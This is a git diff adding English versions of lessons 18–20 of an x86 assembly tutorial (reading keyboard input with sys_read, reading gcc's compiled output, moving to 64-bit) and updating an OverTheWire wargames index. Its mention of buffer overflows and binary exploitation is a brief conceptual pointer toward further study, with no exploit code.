+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — where `mov eax, 1` / `int 0x80` and the "put the result in ebx, read it with `echo $?`" pattern first appeared; the debt was incurred here and paid off here
+- [16_calling_convention.md](./16_calling_convention.md) — the idea "put the arguments in the agreed-upon places, then call"; the syscall is that idea applied to the OS (registers instead of the stack)
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `section .data`, labels and addresses; `ecx = mesaj` is an address, and `db` is the byte form of `dd`
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — "The operating system is the worker's boss"; why only the OS touches hardware, the big picture
+
+---
+
+**Previous topic:** [16_calling_convention.md](./16_calling_convention.md)
+**Next topic:** [18_ilk_etkilesimli_program.md](./18_ilk_etkilesimli_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md b/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md
new file mode 100644
index 0000000..32f9fe4
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md
@@ -0,0 +1,179 @@
+# 🗣️ x86 Assembly — First Interactive Program: Ask a Name, Say Hello
+
+> In 17 we crossed a big threshold: the program **spoke** for the first time (printing "Hello World" to the screen with `sys_write`). But the conversation was one-way — the program talked, you listened. For a real interaction we need the second half: the program **listening to you.**
+> This lesson is a milestone. There's very little new here; the real work is to combine the pieces you've been collecting since the start of the course — memory, register, `mov`, system call — into **one real program.** By the end you'll have a program you wrote yourself, from scratch, that asks you a question and responds based on your answer.
+
+> **This lesson has code and we run all of it.** The program below and its output are real: I compiled and ran it on my own machine (I typed the input on the keyboard).
+
+---
+
+## 📋 Table of Contents
+
+- [The Missing Piece: Reading Input — `sys_read`](#the-missing-piece-reading-input--sys_read)
+- [Where the Input Goes: `section .bss`](#where-the-input-goes-section-bss)
+- [Put It All Together: The Name-Asking Program](#put-it-all-together-the-name-asking-program)
+- [How Much Was Read? The Return of `eax`](#how-much-was-read-the-return-of-eax)
+
+---
+
+## The Missing Piece: Reading Input — `sys_read`
+
+In 17 we saw three numbers in the system-call table: `1` exit, `4` write, and one we haven't used yet, `3` — **`sys_read`** (read). You learned how to write to the screen; now the reverse: **reading** from the keyboard.
+
+`sys_read` is the **mirror image** of `sys_write`. The same three arguments, but the direction is reversed:
+
+| | `sys_write` (write) | `sys_read` (read) |
+|---|---|---|
+| `eax` | 4 | **3** |
+| `ebx` (to where / from where) | 1 = screen (stdout) | **0 = keyboard (stdin)** |
+| `ecx` | address of the data to write | **address where the read data goes** |
+| `edx` | how many bytes to write | **at most how many bytes to read** |
+
+So `sys_read`: "from location `0` (the keyboard), read at most `edx` bytes and put them where `ecx` points." When the user types something and presses Enter, that text fills the memory region you specified.
+
+> 🔑 `sys_read` (eax=**3**) = read from the keyboard; the mirror of `sys_write`. `ebx=0` (keyboard/stdin), `ecx` = the address where the read data **goes**, `edx` = at most how many bytes. What the user types fills the memory at `ecx`.
+
+---
+
+## Where the Input Goes: `section .bss`
+
+A small problem: `sys_read` will put what it reads somewhere — but where? We need an **empty**, pre-allocated memory region (a "buffer"). We could use `section .data` from 08, but that's for data whose **value is known up front** (like `db "Hello"`). Our input buffer has no starting value — we just want to say "reserve me 32 bytes of empty space."
+
+There's a separate section for this: **`section .bss`** — memory that has no starting value, just **reserved** space. You ask for room inside it with `resb` ("reserve bytes"):
+
+```nasm
+section .bss
+ isim: resb 32 ; reserve a 32-byte empty buffer called 'isim'
+```
+
+`resb 32` means "32 bytes of empty space, named `isim`." Unlike `db` it doesn't write anything into it — it just opens a blank notebook page for `sys_read` to come and fill.
+
+> 🔑 Data with a known starting value → `section .data` (`db`, 08). An empty buffer to be filled (for input) → `section .bss` (`resb N` = reserve N bytes of empty space). The input buffer goes in `.bss` because it's empty to begin with.
+
+---
+
+## Put It All Together: The Name-Asking Program
+
+Now let's combine the pieces. The program's plan in plain English:
+
+1. Write **"What's your name? "** to the screen. (`sys_write`, 17)
+2. **Read** the name from the keyboard, put it in the buffer. (`sys_read`)
+3. Write **"Hello, "** to the screen.
+4. Write the **name** that was read back out.
+5. Exit. (`sys_exit`, 17)
+
+`selam.asm`:
+
+```nasm
+section .data
+ soru: db "What's your name? "
+ soru_uz equ $ - soru
+ selam: db "Hello, "
+ selam_uz equ $ - selam
+
+section .bss
+ isim: resb 32 ; empty buffer for input
+
+section .text
+ global _start
+_start:
+ ; 1) write the question
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, soru
+ mov edx, soru_uz
+ int 0x80
+
+ ; 2) read the name
+ mov eax, 3 ; sys_read
+ mov ebx, 0 ; keyboard
+ mov ecx, isim ; put it in the buffer
+ mov edx, 32 ; at most 32 bytes
+ int 0x80
+ mov esi, eax ; save the number of bytes read (explained below)
+
+ ; 3) write "Hello, "
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, selam
+ mov edx, selam_uz
+ int 0x80
+
+ ; 4) write the name back (exactly as many bytes as were read)
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, isim
+ mov edx, esi ; number of bytes read
+ int 0x80
+
+ ; 5) exit
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+The only new line is `mov esi, eax` (in a moment). The rest is familiar: four system calls with `mov`s sprinkled between them. Assemble it, run it, and **when it asks you, type your name:**
+
+```
+nasm -f elf32 selam.asm -o selam.o
+ld -m elf_i386 selam.o -o selam
+./selam
+```
+
+```
+What's your name? Ada
+Hello, Ada
+```
+
+(Above, `Ada` is what you typed; the program read it and greeted you.) **That's it.** At the start of the course "the computer was a box"; now you've written a program for that box from scratch, one instruction at a time, that asks you a question and responds based on your answer. Something that asks you something, listens, and answers — a small but **complete** interaction.
+
+---
+
+## How Much Was Read? The Return of `eax`
+
+Let's return to that `mov esi, eax` line I didn't explain, because it solves a small but important subtlety. Names have different lengths: "Ada" is 3 letters, "Rüzgar" is longer. When we write the name back out, what do we put in `edx` (how many bytes)? If we write a fixed number, we either cut the name short or print extra (garbage from the buffer).
+
+Here's the trick: **system calls return a result, and that result comes back in `eax`** (recall the "return value is in eax" rule from 16 — same thing here). When `sys_read` finishes, `eax` tells you **how many bytes it read.** So we immediately save it into `esi` (`mov esi, eax`), then when writing the name we say `edx = esi` — that way it's **exactly what the user typed**, no more, no less. `esi` is a general-purpose register just like `eax`, `ebx` — one member of that handful you met in 04.5, put to use here for the first time. But why `esi` specifically? Because the `sys_write` that comes right after does `mov eax, 4` and would **overwrite** that value — if the read result had stayed in `eax` it would have been lost. But we never touch `esi` between the two calls, so the number waits there safe and sound. Any other register we don't touch would have worked too; the point is to get it out of `eax` and into a safe place.
+
+```nasm
+ int 0x80 ; sys_read
+ mov esi, eax ; eax = number of bytes read → save it
+ ...
+ mov edx, esi ; when writing back: exactly that many bytes
+```
+
+That's why in the output we also dropped to the next line after the name: when the user presses Enter, that line-ending (`10`) is also included in the bytes read (the `10` from 17), `sys_read` counted it too, and when we wrote it back the cursor moved down a line. So the behavior isn't a "coincidence" — it's the result of honestly using the number `eax` returned.
+
+> 🔑 A system call also gives a **return value**, in `eax` (16's rule). For `sys_read` this = **how many bytes were read.** Save it (`mov esi, eax`) and use it as the length when writing back, and you print exactly the input no matter its length. (The user's Enter = the last byte, which counts too.)
+
+> 💡 **You might be wondering:** *"Is this program 'real', or is it still a toy?"* Small but real. It contains the whole skeleton of a professional program: take input from the user, put it in memory, process it, print the result. The only thing missing is **scale** — error checking, more features, bigger structure. But the core loop (in→process→out) is exactly this. From here on it's "more," not "different."
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ sys_read (eax=3) = read from the keyboard; the mirror of sys_write. ebx=0 (keyboard), ecx=where it goes, edx=at most how many bytes.
+☐ Empty input buffer → section .bss: isim: resb 32 (32 bytes of empty space). (Filled data .data/db; empty buffer .bss/resb.)
+☐ Interaction skeleton: write(question) → read(answer) → write(reply) → exit. Four syscalls, mov's between them.
+☐ A system call's RETURN value is in eax (16). sys_read → number of bytes read. Save it (mov esi,eax), and when writing back edx=esi.
+ → You print exactly the input no matter its length (Enter's newline counts too → moves to the next line).
+☐ Verified: "What's your name? " → user types "Ada" → "Hello, Ada". Works with variable-length names.
+☐ MILESTONE: from scratch, one instruction at a time, you wrote a complete interactive program that asks you a question and answers.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [17_sistem_cagrilari.md](./17_sistem_cagrilari.md) — `sys_write`, `int 0x80` and the syscall table; this lesson adds its `sys_read` half and combines the two
+- [16_calling_convention.md](./16_calling_convention.md) — The "return value is in eax" rule; `sys_read` returning the byte count in eax is exactly this
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `section .data`, label and address; `.bss`/`resb` is its "reserve empty space" sibling
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — From the first "does-nothing" program to here: now the program asks, listens, answers
+
+---
+
+**Previous topic:** [17_sistem_cagrilari.md](./17_sistem_cagrilari.md)
+**Next topic:** [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md b/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
new file mode 100644
index 0000000..fa4a2f6
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
@@ -0,0 +1,157 @@
+# 🌉 x86 Assembly — The C-to-Assembly Bridge
+
+> Throughout this course we wrote assembly **by hand** — every `mov`, every `push`, you thought out and placed yourself. But in the real world nobody writes whole programs this way; they write in **higher-level languages** like C, C++, Rust, and then a **compiler** translates them into assembly.
+> So what does that compiler produce? Here is the surprise of this lesson (and the reward of the whole course): what the compiler produces is **the very patterns you wrote by hand in this course.** We'll look at the assembly of a C program and there — `push ebp`, `[ebp+8]`, `add`, `ret` — you'll see nothing but old friends. In that moment, you'll become someone who "can read compiled code."
+
+> **This lesson has code, and we run all of it.** The C source below and the assembly it produces are real: I compiled it with `gcc` on my own machine and took its output.
+
+---
+
+## 📋 Table of Contents
+
+- [Not by Hand, by Compiler: Where Does C Come From?](#not-by-hand-by-compiler-where-does-c-come-from)
+- [Compile a Tiny C Function](#compile-a-tiny-c-function)
+- [Familiar Patterns: The Ones You Wrote by Hand](#familiar-patterns-the-ones-you-wrote-by-hand)
+- [Optimization: Why Did `× 8` Become `shl`?](#optimization-why-did--8-become-shl)
+
+---
+
+## Not by Hand, by Compiler: Where Does C Come From?
+
+Back in 00 we said this: you write assembly → `nasm` (an *assembler*) translates it into machine code. The assembler's job was easy, because assembly was already one-to-one close to machine code — it just turned labels into numbers.
+
+Higher-level languages (like C) sit one layer further up. You write `a + b`; but the processor knows no such thing as "a + b" — it knows `mov`, `add`, registers. The program that does the translation in between is called a **compiler**. The `gcc` we'll use takes C source and **produces assembly** — that is, it does automatically exactly the work you did in your head throughout this course.
+
+And here's the nice part: we can tell `gcc`, "translate, but stop at assembly, don't go all the way to machine code." That way we get to see with our own eyes **which assembly** the compiler produces. Command: `gcc -S` (`-S` = "stop at assembly").
+
+> 🔑 Higher-level languages (C...) are languages the processor doesn't directly understand; the program that translates them into assembly is called a **compiler** (`gcc`). `nasm` translates your asm into machine code; `gcc` translates C into **asm** — that is, the very work you did by hand in this course. With `gcc -S` we can see the asm it produces.
+
+---
+
+## Compile a Tiny C Function
+
+Let's pick a familiar example — the C version of the addition function we wrote by hand in 16. `topla.c`:
+
+```c
+int topla(int a, int b) {
+ return a + b;
+}
+```
+
+In plain terms: "take two numbers (`a`, `b`), return their sum." The same `topla` function from 16, but as three readable lines of C. Now let's tell `gcc` to translate this into 32-bit assembly:
+
+```
+gcc -m32 -S -masm=intel -O0 -fno-pie -fno-pic topla.c -o topla.s
+```
+
+Let's get to know the flags: `-m32` (the 32-bit we've been learning), `-S` (stop at assembly), `-masm=intel` (the Intel syntax used in this course — so it resembles `nasm`), `-O0` (do no optimization, translate plainly). The last two, `-fno-pie -fno-pic`, are a closed box for now: they force the compiler to produce old-style, simple output. Without them, modern gcc would insert extra address-computation code and the output would get murky — and then we couldn't see the clean skeleton. The detail isn't the subject of this course, don't worry. The core of the `topla.s` file it produces:
+
+```nasm
+topla:
+ push ebp
+ mov ebp, esp
+ mov edx, DWORD PTR [ebp+8]
+ mov eax, DWORD PTR [ebp+12]
+ add eax, edx
+ pop ebp
+ ret
+```
+
+Take a minute to look at this output. Is there a single unfamiliar line?
+
+> 💡 **You might be wondering:** *"What's `DWORD PTR [ebp+8]`? We used to write `[ebp+8]`."* Same thing. In `gcc`'s syntax, `DWORD PTR [ebp+8]` = "the **4-byte (dword)** value at address `[ebp+8]`" — in `nasm`, since the size can usually be understood from context, we just wrote `[ebp+8]` for short. Two assemblers have small differences in syntax (just like two dialects); but **the machine instruction they describe is exactly the same.**
+
+---
+
+## Familiar Patterns: The Ones You Wrote by Hand
+
+Now let's **label** that output line by line — and see which lesson each line is familiar from:
+
+```nasm
+topla:
+ push ebp ; ┐ PROLOGUE → lesson 16
+ mov ebp, esp ; ┘ (set up the anchor)
+ mov edx, DWORD PTR [ebp+8] ; 1st argument (a) → lesson 16 ([ebp+8])
+ mov eax, DWORD PTR [ebp+12] ; 2nd argument (b) → lesson 16 ([ebp+12])
+ add eax, edx ; a + b → lesson 09 (add)
+ pop ebp ; ┐ EPILOGUE → lesson 16
+ ret ; ┘ (return to caller) → lesson 15 (ret)
+```
+
+**This table holds the whole reward of the course.** The compiler turned an innocent C line like `a + b` into exactly the skeleton you **built by hand** in 16: set up the `ebp` anchor with the prologue, read the arguments from `[ebp+8]` and `[ebp+12]` (the convention from 16!), sum them with `add` (09) — **the result stays in `eax`, which in cdecl is where the return value lives (16); the "return" part of C's `return a + b;` is exactly this, not a separate instruction** — clean up with the epilogue and return with `ret` (15). Had you looked at this before the course it would have been a mystery; now you **can read it.**
+
+(A small difference: the compiler used `edx` as a scratch register while computing the sum, whereas when we wrote it by hand we used `eax` directly. This is normal — which register it picks as scratch is the compiler's choice; as long as both obey the same convention, the result doesn't change.)
+
+> 🔑 When you translate a C program with `gcc -S`, what you meet are the **patterns** you learned in this course: prologue/epilogue (16), `[ebp+8]` arguments (16), `add`/`sub` (09), `call`/`ret` (15). C is not "magic" — it compiles into these patterns. Learning assembly = **being able to read every compiled program.** This is where the door to reverse engineering opens.
+
+---
+
+## Optimization: Why Did `× 8` Become `shl`?
+
+Above we said `-O0`: "do no optimization, translate plainly." But if you tell the compiler to "**speed it up**" (`-O1`), it behaves far more cleverly — and here you'll see a promise I made you back in 13. In 13 I said "`shl` = ×2ⁿ, compilers turn multiplication by a power of 2 into `shl`, you'll see it in 19." Let's prove it. `carp8.c`:
+
+```c
+int carp8(int x) {
+ return x * 8;
+}
+```
+
+Translate it with `gcc -m32 -S -masm=intel -O1 -fno-pie -fno-pic carp8.c -o carp8.s` (the same flags, the only difference `-O1` instead of `-O0`). What it produces:
+
+```nasm
+carp8:
+ mov eax, DWORD PTR [esp+4] ; take x
+ sal eax, 3 ; x << 3 = x × 8 ← NOT MULTIPLICATION, A SHIFT!
+ ret
+```
+
+**Here is 13's promise.** In 13 I told you `shl`; here gcc wrote `sal` — don't be surprised, this is the instruction you expected: **for shifting left, `sal` and `shl` are exactly the same instruction** (same machine code, same opcode), just two different names. In C you wrote `x * 8`, but the compiler placed no multiplication instruction (`mul`) — instead it placed `sal eax, 3` (shift left by 3 = ×2³ = ×8), because shifting is much faster (13). In C you saw "multiplication"; on the machine there's a **bit shift**. The two give the same result, but the compiler chose the fast one.
+
+A small extra observation: with `-O1` on, there's **not even** a `push ebp`/`mov ebp, esp` prologue — the compiler saw that this tiny function doesn't need the `ebp` anchor, skipped it, and read the argument directly from `[esp+4]`.
+
+Why `[esp+4]` and not `[ebp+8]` like just before? In three steps:
+
+- The moment the function is entered, the **return address** sits at the top of the stack (`[esp]`); the 1st argument is right above it: **`[esp+4]`**.
+- **If** there were a prologue, `push ebp` would push `esp` down 4 bytes, and `mov ebp, esp` would fix the anchor there — so relative to `ebp` the argument would sit 4 bytes farther away: **`[ebp+8]`**.
+- In this function there's **no** prologue, that push never happened; we measure directly from `esp`: **`[esp+4]`**.
+
+("Wasn't `esp` constantly moving, so trusting it was dangerous (16)?" — yes; but this tiny function never touches the stack (no `push`/`pop`/`call`), so `esp` **doesn't budge** from start to finish, and here trusting it is safe.)
+
+(In 16 we said "the prologue is a *convenience*, not an obligation"; here's the proof.) Optimized code looks more "cunning" than what you wrote by hand — but underneath it are always the instructions you know.
+
+> 🔑 With `-O1`/`-O2` (optimization) on, the compiler gets smart: `× 8` → `shl/sal` (13), it drops the unnecessary prologue, it uses registers cunningly. That's why optimized code can look unfamiliar at first glance — but its bricks are always the bricks of this course. In reverse engineering, most of the work is taking apart these "cunning but familiar" patterns.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Higher-level language (C) → COMPILER (gcc) → assembly. (nasm: your asm to machine code; gcc: C to asm.)
+ gcc -m32 -S -masm=intel → SEE the asm the compiler produces (-S = stop at asm).
+☐ int topla(int a,int b){return a+b;} → THE COMPILER PRODUCED THIS:
+ push ebp / mov ebp,esp (PROLOGUE, 16)
+ mov ..., [ebp+8] / [ebp+12] (arguments, 16)
+ add (09)
+ pop ebp / ret (EPILOGUE 16 + ret 15)
+ → i.e. the same as what you wrote BY HAND. C is not magic; it compiles into these patterns.
+☐ Optimization (-O1): x*8 → sal eax,3 (13's ×2ⁿ, a shift not a multiply); the unnecessary prologue is dropped.
+ Optimized code looks "cunning" but its bricks are always this course's.
+☐ THE BIG WIN: knowing assembly = BEING ABLE TO READ EVERY COMPILED PROGRAM. This is the door to reverse engineering.
+☐ DWORD PTR [ebp+8] (gcc) = [ebp+8] (nasm): same instruction, different dialect.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [16_calling_convention.md](./16_calling_convention.md) — The prologue/epilogue and `[ebp+8]` arguments the compiler produces; this lesson is the proof that it's "really like that"
+- [13_bit_islemleri.md](./13_bit_islemleri.md) — The promise "`shl` = ×2ⁿ, compilers turn multiplication into a shift"; here it is, `x*8 → sal eax,3`
+- [09_aritmetik.md](./09_aritmetik.md) — `add`; C's `a + b` comes down to the same instruction
+- [00_buradan_basla.md](./00_buradan_basla.md) — The promise "when you compile a C program and look at its asm you'll see familiar patterns"; here it held true
+
+---
+
+**Previous topic:** [18_ilk_etkilesimli_program.md](./18_ilk_etkilesimli_program.md)
+**Next topic:** [20_buradan_nereye.md](./20_buradan_nereye.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md b/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
new file mode 100644
index 0000000..fab3f6d
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
@@ -0,0 +1,131 @@
+# 🧭 x86 Assembly — Where To From Here?
+
+> You did it. In 00 the computer was "a box"; now you can look inside that box and give it orders in its lowest language. This final lesson won't teach a new instruction — instead it will take a look at **where you came from**, then map out **where you can go.**
+> Because this course is not an *ending*, it is a *foundation.* What you learned (how the machine really works) is a floor you can build a great deal on top of. Now let's look at which buildings can be raised on that floor.
+
+> **There is only a single piece of code in this lesson** (a taste of 64-bit), and it is real: I compiled and ran it on my own machine. The rest is a roadmap.
+
+---
+
+## 📋 Table of Contents
+
+- [What Did You Learn? A Short Look Back](#what-did-you-learn-a-short-look-back)
+- [Next Stop: Moving to 64-bit](#next-stop-moving-to-64-bit)
+- [Reverse Engineering: Reading Someone Else's Code](#reverse-engineering-reading-someone-elses-code)
+- [Binary Exploitation: Bending the Flow](#binary-exploitation-bending-the-flow)
+- [Resources and a Final Word](#resources-and-a-final-word)
+
+---
+
+## What Did You Learn? A Short Look Back
+
+Stop for a minute and look at the road you've traveled. When you started this course, even the word "register" was foreign; now you have all of this:
+
+- **The machine model** (Unit 0): memory = numbered boxes, registers = the worker's hands, binary/hexadecimal, how the worker works without ever reasoning.
+- **First instructions** (Unit 1): `mov`, memory & pointers (`[...]`), little-endian, arithmetic (`add`/`sub`, two's complement), and **watching each instruction live** in GDB.
+- **Flow** (Unit 2): flags & `cmp`, jumps (`jmp`/`jz`/`jl`), loops, bit operations — that is, **decision** and **repetition.**
+- **Parts & the OS** (Unit 3): the stack, `call`/`ret`, the calling convention, system calls — and finally a real program that **asks you a question and answers it.**
+- **The bridge** (Unit 4): being able to **read** the assembly of a C program.
+
+So now you know, not abstractly but **concretely**: what a computer really does when it "runs." This is a floor that even most programmers can't see clearly. From here, there are three main roads.
+
+> 🔑 This course is a foundation, not an ending. The machine model + instructions + flow + the OS interface + reading compiled code — you have all of it. Three forward roads: **going deeper into 64-bit**, **reverse engineering**, **binary exploitation.** All three rise on top of the floor you're standing on here.
+
+---
+
+## Next Stop: Moving to 64-bit
+
+Throughout this course we learned **32-bit** — because it's simpler and shows the concepts more cleanly. But most machines today run **64-bit**. The good news: the ideas are **exactly the same**; only a few names and details change. Let's write the same "Hello" in 64-bit (`merhaba64.asm`):
+
+```nasm
+section .text
+ global _start
+_start:
+ mov rax, 1 ; sys_write (1 in 64-bit — was 4 in 32-bit)
+ mov rdi, 1 ; screen (rdi instead of ebx)
+ mov rsi, mesaj ; address (rsi instead of ecx)
+ mov rdx, uzunluk ; length
+ syscall ; NOT int 0x80 → syscall
+
+ mov rax, 60 ; sys_exit (60 in 64-bit — was 1 in 32-bit)
+ mov rdi, 0
+ syscall
+```
+
+Assemble it with `nasm -f elf64 ... && ld ...`, run it → it prints `Hello (64-bit world)` to the screen. What changed is the grown-up version of things you already know:
+
+| | 32-bit (what you learned) | 64-bit |
+|---|---|---|
+| Registers | `eax`, `ebx`... (32 bit) | `rax`, `rbx`... (64 bit) + 8 new: `r8`–`r15` |
+| System call | `int 0x80` | `syscall` |
+| Call numbers | write=4, exit=1 | write=1, exit=60 |
+| Syscall arguments | `ebx, ecx, edx` | `rdi, rsi, rdx`... |
+
+As you can see, the **concept** never changed — "put a value in a register, write the number into `rax`, make the call." Only the names and a couple of numbers differ. If you understood 32-bit, moving to 64-bit is an afternoon's work.
+
+(The only real *new habit* is this: in 64-bit you put a **function's** arguments — instead of `push`ing them onto the stack and reading from `[ebp+8]` as you did in 16 — directly into **registers** (`rdi`, `rsi`, `rdx`...). So the `[ebp+8]` stack-argument model from 16 is specific to 32-bit cdecl; inside a 64-bit function you won't see `[ebp+8]` — you'll want to know this in reverse engineering. The fact that the *syscall* arguments in the table above sit in registers is already an example of the very same logic.)
+
+> 🔑 64-bit is the **grown-up version** of what you learned: `e__` registers become `r__` (+ `r8`–`r15`), `syscall` replaces `int 0x80`, the call numbers change. Most of the concepts (register, stack, syscall) are the same; the **idea** of the calling convention is the same too — the only real difference is that function arguments move to **registers** instead of the stack. If 32-bit is a solid foundation, 64-bit is just a new dialect.
+
+---
+
+## Reverse Engineering: Reading Someone Else's Code
+
+In 19 we cracked the big door ajar: you were able to read the assembly of a C program. **Reverse engineering** is exactly the scaled-up version of that — but this time **without** having the source code (C) in hand, answering the question "what does this do?" just by looking at the compiled program (the binary).
+
+Why is it done? To understand how a program with no source works: to analyze a virus, to find a security hole, to understand a closed format, or simply out of curiosity to say "how did they do this?" And the new eye you've just gained — the eye that recognizes `push ebp`, `[ebp+8]`, `call` — is **exactly the foundation** of this work.
+
+You've already met, or will meet, the tools that make this easier:
+
+- **`objdump -d`** — dumps the assembly of a binary (we used `objdump` in this course).
+- **GDB** — stepping through live while it runs (the course's most powerful tool; the same in RE).
+- **Ghidra / radare2 / Cutter** — professional tools for analyzing huge programs; they even turn assembly into readable "pseudo-C." But whether that pseudo-C is correct can only be understood by someone who **can read assembly** — that is, you.
+
+> 🔑 **Reverse engineering** = looking at a compiled binary without its source code and saying "what does it do." It's the source-less version of what you did in 19 (reading asm). The tools (`objdump`, GDB, Ghidra) speed the work up, but the core skill is the **assembly-reading** eye you gained in this course.
+
+---
+
+## Binary Exploitation: Bending the Flow
+
+The third road is the most exciting. Reverse engineering asks "what does the program do?"; **binary exploitation** goes one step further: *"how do I force the program to do something its author **never wanted**?"*
+
+And here is where the finest gift the course gave you is rewarded: **the stack you learned in 14 is the heart of exploitation.** Recall — when you make a `call`, the **return address** was written onto the stack (15). What if a program stores the data it takes from the user on the stack without any bounds, and that data overflows and writes **over the return address**? Then `ret` no longer returns to where the program should go, but to the address **you** placed there — you've bent the flow. This is called a *buffer overflow*, and it is the door to an entire world of security.
+
+Everything you need to understand this (the stack, `call`/`ret`, the return address, memory) you gathered in this course. And you're lucky: inside this very repo there are series that continue right from here —
+
+- **[The Binary Exploitation series](../binary_exploitation/00_buradan_basla.md)** — the direct continuation of this course; start *bending* the stack.
+- **OverTheWire** wargames (especially **Narnia**, **Behemoth**) — get your hands dirty and learn by exploiting real vulnerabilities.
+
+> 🔑 **Binary exploitation** = forcing a program into behavior its author didn't want. The classic example is the *buffer overflow*: overflowing data crushes the **return address** on the stack, and `ret` returns to wherever you want (14+15!). This course's stack is the very heart of exploitation — the continuation is in the repo's binary_exploitation series and on OverTheWire.
+
+---
+
+## Resources and a Final Word
+
+Wherever you go, a few solid compasses:
+
+- **This repo** — [x86_assembly](./00_buradan_basla.md) (this series you just finished), [binary_exploitation](../binary_exploitation/00_buradan_basla.md), and the OverTheWire solutions. It continues in the same "from the very bottom up" spirit.
+- **Don't let go of GDB.** The most powerful thing you learned in this course wasn't a command but a **habit**: "if you don't understand it, step through it, see it with your own eyes." In 64-bit, in RE, in exploitation — it's your best teacher everywhere.
+- **Follow your own curiosity.** If you ever wonder how a program works, look inside it with `objdump -d`. That output won't feel foreign to you anymore. Not a warning but an encouragement: a real binary — especially one that's optimized, PIE, and stripped of symbols — looks messier than this course's spotless `-O0` examples; PLT/GOT jumps, nameless chunks of code... No panic, the bricks are still familiar — just more of them, laid out more cunningly. Scale up the `-O1` cunning you saw in 19, and that's all it is.
+
+And a final word. The promise at the start of this course was this: *no magic, no hidden work, no invisible rules sneak in between.* I hope it held. Nothing a computer does is magic — it's just very simple operations stacking on top of one another at an unimaginable speed, with exactly the instructions you can now read. That box is no longer closed.
+
+From here on it's up to your curiosity. Safe travels. 🚀
+
+> 🔑 This course was the foundation; three roads (64-bit, RE, exploitation) lead out from here. Your most lasting tool isn't a command but the habit **"if you don't understand it, step through it in GDB, see it with your own eyes."** And the promise from the start: there is no magic in the machine — just instructions you can now read. The box is open.
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — Recall where you started; every item on the "what you'll be able to do at the end" list is now in your hands
+- [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md) — Reading compiled code; the direct first step of reverse engineering
+- [14_stack.md](./14_stack.md) — The heart of binary exploitation; the basis of the idea of "crushing the return address"
+- [../binary_exploitation/00_buradan_basla.md](../binary_exploitation/00_buradan_basla.md) — The direct continuation of this course: start *bending* the flow you learned
+
+---
+
+**Previous topic:** [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md)
+**Next step:** [The Binary Exploitation series](../binary_exploitation/00_buradan_basla.md) — 🎉 **The x86 Assembly series is completed here.** Keep bending the stack you learned.
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konular.html b/docs/eng/konular.html
index 1f1b15c..9993b81 100644
--- a/docs/eng/konular.html
+++ b/docs/eng/konular.html
@@ -27,7 +27,7 @@
topic guides
resources
- TREN
+ TREN
★ GitHub
diff --git a/docs/eng/overthewire/WARGAMES.md b/docs/eng/overthewire/WARGAMES.md
index a385335..f61e8b7 100644
--- a/docs/eng/overthewire/WARGAMES.md
+++ b/docs/eng/overthewire/WARGAMES.md
@@ -11,8 +11,8 @@
## 🗺️ Recommended Order
```
-Bandit → Leviathan → Krypton → Narnia → Behemoth → Utumno → Maze
-(basics) (intro RE) (crypto) (binary) (medium) (advanced) (mixed/capstone)
+Bandit → Leviathan → Krypton → Narnia → Behemoth → Utumno → Maze → Vortex
+(basics) (intro RE) (crypto) (binary) (medium) (advanced) (capstone) (broad binexp)
Natas — web security, separate branch, start whenever you like
```
@@ -27,6 +27,7 @@ Natas — web security, separate branch, start whenever you like
| [Behemoth](#-behemoth--intermediate-binary-exploitation) | 7/10 | 9 | PATH hijack, format string, symlink, UDP, BOF |
| [Utumno](#-utumno--advanced-binary-exploitation) | 9/10 | 9 | Arbitrary write, integer bugs, jmp_buf/PTR_MANGLE |
| [Maze](#-maze--mixed-binary-exploitation--re) | 5/10 | 9 | TOCTOU, lib hijack, self-modifying, FSOP, ELF parser, format string |
+| [Vortex](#-vortex--broad-binary-exploitation-from-the-network) | 6/10 | 27 | Network/endianness, overflow, format string, heap, ROP, crypto, RE/keygen |
---
@@ -159,6 +160,28 @@ it brings together all the techniques in the series, which is why despite a 5/10
---
+## 🌀 Vortex — Broad Binary Exploitation from the Network
+
+A 27-level lab that **starts** with network/socket programming and then walks the entire classic
+binary-exploitation curriculum: endianness → overflow → format string → heap → ret2libc/ROP, then
+cryptanalysis + RE/keygen. Unlike Narnia/Behemoth it isn't a single pattern; source is **not given**
+at most levels → you disassemble the binary yourself. The "advanced" topics (heap/ROP) sit
+surprisingly in the **middle band (8–13)**; the upper half (14–26) leans toward crypto + RE.
+
